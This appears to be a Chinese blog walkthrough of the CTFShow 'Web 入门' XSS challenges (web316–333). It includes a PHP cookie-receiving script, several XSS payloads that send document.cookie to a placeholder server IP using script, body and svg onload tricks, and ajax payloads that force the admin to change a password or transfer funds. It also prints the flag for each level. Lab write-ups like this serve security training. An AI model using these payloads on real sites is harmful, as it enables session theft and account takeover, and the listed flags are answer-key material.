CTFShow Web 入门 XSS
芝士香客 2024-07-05 08:03:02 阅读 50
web 316:
写入<script>alert('1');</script>,可以弹框
这关的flag藏在admin管理员的cookie中
在云服务器上写个接收cookie的php的文件,名为cookie.php
<code><?php
echo 'hello';
if(isset($_GET['cookie'])) {
$cookie = $_GET['cookie'];
// 过滤和清理用户输入
$cookie = htmlspecialchars($cookie); // 过滤特殊字符
// 其他可能的过滤和验证
// 写入文件
$myfile = fopen('cookie.txt', 'a');
if ($myfile !== false) {
fwrite($myfile, $cookie."\n");
fclose($myfile);
echo 'Cookie 已成功写入文件。';
} else {
echo '无法打开文件进行写入。';
}
} else {
echo '未提供 cookie 数据。';
}
?>
然后再输入
<script>window.location.href='http://服务器IP/cookie.php?cookie='+document.cookie</script>code>
当将这行脚本代码提交后,稍等片刻,会有个类似admin管理员的程序每隔一段时间就查看我们提交的连接,然后就可以拿到admin的cookie
flag=ctfshow{9c501b87-a597-4443-9bd6-87d752fa3284}
web317:
这一关和上一关一样,但是过滤掉了script,可以使用<body οnlοad="alert(1)">来实现xss攻击
然后输入
<code><body onload="window.location.href='http://服务器IP/cookie.php?cookie='+document.cookie">code>
flag=ctfshow{9d14b10e-d44f-4926-9cba-bbc3693f32ca}
web318:
和上题一样
flag=ctfshow{d92630f8-fdc4-47ee-a888-f1b5f60ef79d}
web319:
过滤了script和body,可以用<svg οnlοad="">
<code><svg onload="window.location.href='http://服务器IP/cookie.php?cookie='+document.cookie">code>
flag=ctfshow{b0f0f494-d205-4eb3-b379-37c851179e89}
web320:
此题在上面的基础上还多过滤了空格
<code><svg/onload="window.location.href='http://服务器IP/cookie.php?cookie='+document.cookie">code>
flag=ctfshow{a257a23e-6fa2-4b53-ad81-f564df299b3e}
web321:
以下一直到326都和上题一样解法
flag=ctfshow{c4aec5b4-9e81-4323-b478-56e7493c2eee}
web322:
flag=ctfshow{44ce31c8-9fa0-4e0a-a9c0-347c20453886}
web323:
flag=ctfshow{f89262ce-5b4a-429e-baf7-bb3f7847ee8d}
web324:
flag=ctfshow{14342443-7f35-47ff-8e17-7ad8c2abe50d}
web325:
flag=ctfshow{290661e7-2d52-4950-b29c-e56a9f1af757}
web326:
flag=ctfshow{0f2a48aa-5bda-4ff0-a942-ec08c19fc5b8}
web327:
web328:
注册用户名和密码都设置为js脚本
<code><script>window.open('http://服务器IP/cookie.php?cookie='+document.cookie)</script>
服务器上接收到admin的cookie
然后再访问用户管理界面,用burp抓包,将cookie改成admin的cookie
ctfshow{62c669e9-8c1e-4dd7-92f7-824a307a64dd}
web329:
和上题一样,但是过滤了script,用<svg οnlοad="">标签
<svg/onload="window.location.href='http://服务器IP/cookie.php?cookie='+document.cookie">
拿到admin的cookie
访问用户管理页面,抓包将cookie改成admin的
ctfshow{6c255619-b25f-43fe-a486-6081d9079021}
web330:
这一题用上一题的做法就不行,这一题admin的cookie是一直在变的,而且很快,看到此题还有修改密码的功能,注册个普通账号,在修改密码时抓包
可以利用xss漏洞让admin自己修改密码
然后登录admin账号,密码输入123456
然后抓包访问用户管理页面
得到flag=ctfshow{09efa23e-ba7c-4b0d-98d4-9b0efc87db9f}
web331:
继续创建用户修改密码抓包,发现这次是修改密码是post请求的
将payload修改成post请求即可
<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}})</script>code>
flag=ctfshow{c96f442e-48ce-4a50-8e2e-686595c13808}
web332:
方法一:
这道题它代码逻辑有问题,转账的不扣转账方的金额,所以可以一直向自己转账,转的金额不超过自己余额即可
方法二:
可以给admin转-10000
方法三:
直接让admin转自己10000,和上题让admin自己改密码思路是一样的
先用burp抓转账的包
构造payload
<code><script>$.ajax({url:'http://127.0.0.1/api/amount.php',type:'post',data:{u:'tang',a:'10000'}})</script>
然后用payload注册用户
转账成功,购买flag
ctfshow{ae7a9be2-963c-40f9-b10b-4bfebce9ac76}
web333:
和上题一样,除了不能转自己-10000
ctfshow{2a7ad06d-9875-472e-bec6-d7ad70f345e1}
声明
本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。